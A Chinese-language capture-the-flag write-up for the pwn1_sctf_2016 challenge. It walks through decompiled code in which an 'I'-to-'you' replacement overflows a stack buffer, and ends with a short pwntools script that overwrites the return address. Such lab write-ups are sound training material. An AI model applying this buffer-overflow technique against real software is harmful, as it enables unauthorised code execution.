pwn1_sctf_2016

题目链接:pwn1_sctf_2016

下载附件后,使用 IDA 反编译,定位到 main 函数,如下。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}

vuln 函数如下。

int vuln()
{
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}

可以动态调试可以知道,程序将用户输入的字符 "I" 转化为 "you",并将转化后的字符串复制到栈空间中,经过动态调试,可以发现,当用户输入了 22 个字符 "I" 后,即可发生溢出。

因此,我们输入 21 个字符 "I",并复写返回地址。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    p()
    sl(b"I" * 21 + b"A" + p32(0x08048F0D))
    irt()

pwn()
posted @ 2025-03-25 22:10  imtaieee  阅读(110)  评论(0)    收藏  举报